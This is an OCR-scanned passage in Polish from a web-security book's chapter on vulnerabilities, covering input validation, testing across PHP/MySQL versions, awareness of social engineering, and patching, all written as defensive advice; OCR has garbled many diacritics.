Ta technika zapobiega ujawnianiu informacji napastnikowi, ktéry bada witryne. Starannie prze-
analizuj aplikacje i sprawdz, czy nie generuje komunikatéw o bledach, ujawniajacych projekt
tabel SQL lub inne poufne informacje.

Niewfasciwe formatowanie zmiennych
i niebezpiecznych danych wejsciowych

Waznym i czesto pomijanym aspektem programowania jest formatowanie danych wejsciowych.
Jesli program przyjmuje dane od uzytkownika, trzeba sie upewnié, ze pobrane informacje majg
wlasciwg postac. Jezeli chcesz otrzymaé adres e-mail, musisz sprawdzié, czy dane maja format
takiego adresu, a nie zapytania SQL.
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Ten czesto wystepujacy problem prowadzi do wiekszych klopotéw, jesli zostanie wykryty zbyt
pdéZno.

Kilka znanych eksploitéw to efekt nieprawidtowego sprawdzania wprowadzonych danych. To
zaniedbanie umozliwia ataki przez przepekienie bufora, wstrzykniecie kodu SQL i ataki RFT
(nie jest to kompletna lista).

Brak testow w zréznicowanym $rodowisku

Z tym punktem zwigzany jest klasyczny problem zasob6w i czasu. Programista jest bardzo zajety
i mozna oczekiwad, ze uzytkownik ma wystarczajaca wiedze o swym systemie, dlatego nie warto
sprawdza¢ nieznanych konfiguracji, prawda?

OczywiScie wiesz, ze jest inaczej. Uzytkownicy mogg przypadkowo uszkodzié system. Jak mozna
przeprowadzi¢ testy w zréznicowanym Srodowisku, a jednoczesnie wykonywa¢ wszystkie inne
zadania?

Wréémy do planu testéw. Ustal, na ktérych platformach program ma dziataé, i przeprowadz na
nich testy. W ktérych wersjach systeméw Linux i Windows rozszerzenie ma funkcjonowaé? Ktére
wersje PHP sa w powszechnym uzyciu? Obecnie (w czasie powstawania tej ksiazki) popularno$é
jezyka PHP 4.xx zaczyna sie zmniejszaé, a nowym faworytem uzytkownikéw sa wersje 5.xx. Mo-
zesz jednak mie¢ pewno$é, ze przez pewien czas wiele os6b nadal bedzie korzystaé z wersji 4.xx.
Przetestowanie aplikacji w obu $rodowiskach to najbardziej odpowiedzialne i profesjonalne
rozwigzanie.

Testowanie w réznych wersjach baz SQL

Testowanie w réznych powszechnie uzywanych wersjach bazy MySQL to nastepna technika,
ktéra pomaga w tworzeniu aplikacji najwyzszej klasy. Obecnie niektére firmy hostingowe
umozliwiajg wybor jezyka PHP 4 lub 5 i jednej z wielu wersji bazy MySQL. Przetestowanie
najpopularniejszych kombinacji pozwala uniknaé¢ pézniejszych probleméw, a takze pomaga
wyeliminowaé rzadkie bledy, ktére sprawiaja, ze witryna, Twoja lub klienta, jest podatna na ataki.

Wspétdziatanie z rozszerzeniami niezaleznych producentéow
Testy w tym obszarze sa czasem trudne, jednak warto sie nad nimi zastanowi¢. Pomysl, z ktérych
rozszerzen Ty sam i uzytkownicy bedziecie korzystaé w polaczeniu z dang aplikacja. Uwzglednij
dodatki zwigzane z Google Adsense i SEO, narzedzia do analizy danych internetowych oraz inne
pomocne rozszerzenia.

Musisz sie upewnié, Ze inne rozszerzenia uzywane wraz z danym systemem nie narazg go na
dziwne problemy.
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Uzytkownicy koncowi

Jak uzytkownik koncowy moze zabezpieczy¢ si¢ przed atakiem? Wspomniatem juz o kilku kwe-
stiach, aby podkresli¢ ich znaczenie. Przyjrzyjmy sig teraz innym zagadnieniom.

Socjotechnika

Powszechnie przyjmuje sie, ze najstabszym ogniwem w taficuchu zabezpieczen jest czlowiek.
Wynika to z naturalnej skfonnosci do wierzenia innym na stowo. Ludzie zwykle ufaja osobom po
drugiej stronie stuchawki, ktére prosza o pomoc. Rozméwca ,,zgubil” hasto, a musi przygotowaé
raport, poniewaz szef go zabije! Kto nie byt kiedy§ w podobnej sytuacji? Rozméwca wywoluje
wsp6lczucie, a drobny akt sympatii do drugiego cztowieka naraza wiele os6b na atak.

Oszustwa typu phishing to popularna obecnie technika wytudzania pieniedzy lub informacji,
a jest to tylko najnowsza ze stosowanych metod naciaggania. Wyludzanie jest tak stare jak ludzkosé.
Socjotechnika nie opiera sie na technologii, a mimo to jest skuteczng metoda atakowania infra-
struktury witryny lub firmy. Jesli napastnik zyska punkt zaczepienia dzieki operatorowi, ktéry
odbiera telefony, pracownikowi pomocy technicznej, sprzedawcy, a nawet Tobie, moze przejaé
cenne informacje potrzebne do wlamania sie do systemu.

Pozyskiwanie informacji odbywa sie czasem w bezczelny sposob, kiedy napastnik dzwoni do firmy
i udaje osobe z zespotu pomocy technicznej, obserwuje budynek lub podstuchuje Twoje rozmowy
telefoniczne w kawiarni.

Dos$wiadczony socjotechnik nie prébuje od razu uzyska¢ dostepu do systemu. Woli zbiera¢ mate
porcje informacji i stopniowo zblizaé¢ sie do celu (czymkolwiek by on byt).

Ludzie ,,zdradzaja” informacje caly czas — w trakcie rozméw telefonicznych, w e-mailach,
w pogawedkach internetowych, w $mieciach, a czasem bezposrednio, przez umieszczanie
w e-mailach zastrzezonych danych.

Grzebanie w $mieciach to doskonaly sposéb na zdobycie informacji o celu. Kiedy ludzie wyrzu-
caja starg liste cen, zwykle nie uwazaja, ze jest to warto$ciowa zdobycz dla socjotechnika. Zwykle
to nie same ceny sa wazne, ale informacje, ktére pozwalaja wywola¢ wrazenie, ze dana osoba pra-
cuje w firmie. Wiedza, jaka mozna zdoby¢ przez grzebanie w $mieciach, jest zdumiewajaca.

Celem stosowania socjotechniki jest uzyskanie nieuprawnionego dostepu do sieci, konta ban-
kowego, budynku, a nawet mieszkania. Polaczenie informacji znalezionych w koszu (na przyklad
wykreséw firmowych, notatek, ksigzek telefonicznych itd.) pozwala napastnikowi utworzyé
mape organizacji. Taka osoba zyskuje tak bogata wiedze, ze nikt nie zawaha sie poméc ,,wspot-
pracownikowi”.
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Zagladanie przez ramie (ang. shoulder surfing) to nastepna bardzo skuteczna metoda. Polega ona
na tym, ze napastnik dostownie zaglada Ci przez ramie w trakcie wpisywania numeru PIN lub
hasta. Oszust nie musi widzie¢ informacji na ekranie, ani nawet zdoby¢ pelnych danych. Fragment
hasta czesto wystarczy, aby przeprowadzi¢ atak.

Zepsute dyski twarde — te srebrne talerze sg prawdziwg kopalnig zlota. Nalezy je starannie
zniszcezy¢, aby zapewnié sobie maksymalne bezpieczefistwo. Istnieje kilka firm, ktére Cie w tym
wyrecza, (niektére nawet za darmo).

Perswazja oparta na czarujacym i przyjacielskim zachowaniu takze pozwala uzyska¢ dobre efekty.
W polaczeniu z naciskiem na pilno$é prosby perswazja pozwala otworzy¢ wiele drzwi — zwlaszeza
u pracownikéw pomocy technicznej, ktérzy majg zapewnia¢ wsparcie. Kiedy osoby te chca
potwierdzi¢ tozsamos$é klientow, sa czesto przez nich obrazane. Takie zachowanie uzytkownikéw
i nagany dla personelu przestrzegajacego przepiséw sg niedopuszczalne. Kare powinni otrzymaé
pracownicy lub klienci, ktérzy prosza osoby z dzialu pomocy technicznej o ztamanie regut.

To tylko wierzchotek géry lodowej w obszarze atakéw socjotechnicznych. Najlepsza strategia
przeciwdziatania im polega na edukowaniu pracownikéw, zatrudnieniu eksperta od zabezpieczen
w celu przeszkolenia personelu i opracowaniu oraz przestrzeganiu takich zasad, jak tworzenie
SILNYCH HASEY. i zmienianie ich co 30 dni. Nalezy tez przygotowaé i wdrozyé procedury
identyfikowania klientéw kontaktujacych sie telefonicznie.

Nie zapomnij stéw jednego z najwiekszych socjotechnikéw wszechczaséw, Kevina Mitnicka:
Mozesz wydac fortung na zakup technologii i ustug [...], a infrastruktura sieci nadal bedzie podatna
na klasyczng manipulacje.

Nieregularne instalowanie poprawek i aktualizacji

Tak, tak, panie Uzytkowniku Koricowy. To Ty odpowiadasz za swoje systemy i witryny. Spolecz-
no$é nie zainstaluje poprawek za Ciebie. Pamietaj, ze nie powstajg one bez przyczyny. Zatézmy,
ze jest ,wtorek poprawek” i pojawily sie aktualizacje dla systemu XE a Ty ich nie zainstalowales.
Nastepnego dnia napastnik z powodzeniem zaatakowal Twoéj komputer. To Ty jestes za to od-
powiedzialny.

Wygospodaruj czas na przeglad poprawek i aktualizacji zabezpieczen dla witryny, systemu
oraz rozszerzen, ktérych uzywasz.

Przez regularne instalowanie poprawek mozesz zabezpieczy¢ sie przed atakami w ,,dniu zerowym”,

gotowymi skryptami atakujacymi i innymi technikami, ktérych zdeterminowany haker bedzie
uzywal w celu wlamania sie do Twojego komputera.

106



Rozdziat 4. e Luki

Podsumowanie

W tym rozdziale opisatem luki, przyczyny ich powstawania i typowe metody przeciwdzialania ata-
kom. Poniewaz istnieja cate ksiazki po§wiecone tym zagadnieniom, ten rozdziat to tylko punkt
wyjscia do zabezpieczania witryny. Jesli chcesz dowiedzieé sie czego$ wiecej o bezpieczen-
stwie oprogramowania, zachecam do lektury pozycji The art of Software Security Assessment:
Identifying and Preventing Software Vulnerabilities autorstwa Marka Dowda, Johna McDonalda
i Justin Schuh.

Moral z historii 0 Malej Czerwonej Kurce jest taki, ze jesli wszyscy — programisci, admini-
stratorzy i uzytkownicy — bedg zgodnie wspélpracowad, internet stanie sie odporniejszy na ataki
i bezpieczniejszy. Spory miedzy wymienionymi stronami stuzg tylko interesom kryminalistéw
dziatajacych w internecie.
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